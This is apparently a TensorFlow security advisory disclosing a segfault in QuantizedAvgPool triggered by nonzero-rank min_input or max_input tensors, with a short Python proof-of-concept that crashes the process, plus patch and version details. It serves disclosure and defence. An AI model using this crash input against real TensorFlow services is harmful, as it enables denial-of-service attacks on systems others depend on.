TensorFlow vulnerable to segfault in `QuantizedAvgPool`

Impact

If QuantizedAvgPool is given min_input or max_input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

ksize = [1, 2, 2, 1]

strides = [1, 2, 2, 1]

padding = "SAME"

input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)

min_input = tf.constant([], shape=[0], dtype=tf.float32)

max_input = tf.constant(0, shape=[1], dtype=tf.float32)

tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)

`

Patches

We have patched the issue in GitHub commit [7cdf9d4d2083b739ec81cfdace546b0c99f50622](https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.